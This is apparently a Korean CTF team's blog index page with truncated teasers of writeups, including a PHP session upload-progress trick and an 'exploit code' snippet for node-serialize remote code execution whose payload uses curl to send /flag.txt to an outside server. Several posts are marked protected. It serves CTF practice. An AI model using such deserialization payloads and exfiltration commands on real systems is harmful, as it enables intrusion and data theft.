https://gist.github.com/as3617/fa06307b5c1bcc002e3b646bfcc3500d exploit code IJCTF 2021 - memory writeup IJCTF 2021 - memory writeup. GitHub Gist: instantly share code, notes, and snippets. gist.github.com disabled_functions are except putenv, mail clean_up option for session is off When the UPLOAD_PROGRESS meets clean_up option as off that session file will have the path for the uploaded file. ..
Description http://111.186.59.2:50080 http://111.186.59.2:50081 http://111.186.59.2:50082 The three servers are the same, you can choose any one. server will be reset every 10 minutes. this chall is almost same https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html.
보호되어 있는 글입니다.
Only Exploit Code.. sparta - node-serialize rce # https://www.exploit-db.com/exploits/49552 import requests import re import base64 import sys url = 'http://web.zh3r0.cf:6666/guest' # change this payload = """function(){require('child_process').exec('curl -F file1=@/flag.txt server:1234',function(error, stdout, stderr){return stdout;});}()""" # rce = "_$$ND_FUNC$$_process.exit(0)" # code ="_$$ND..
Team Alpray
보호되어 있는 글입니다.
보호되어 있는 글입니다.
보호되어 있는 글입니다.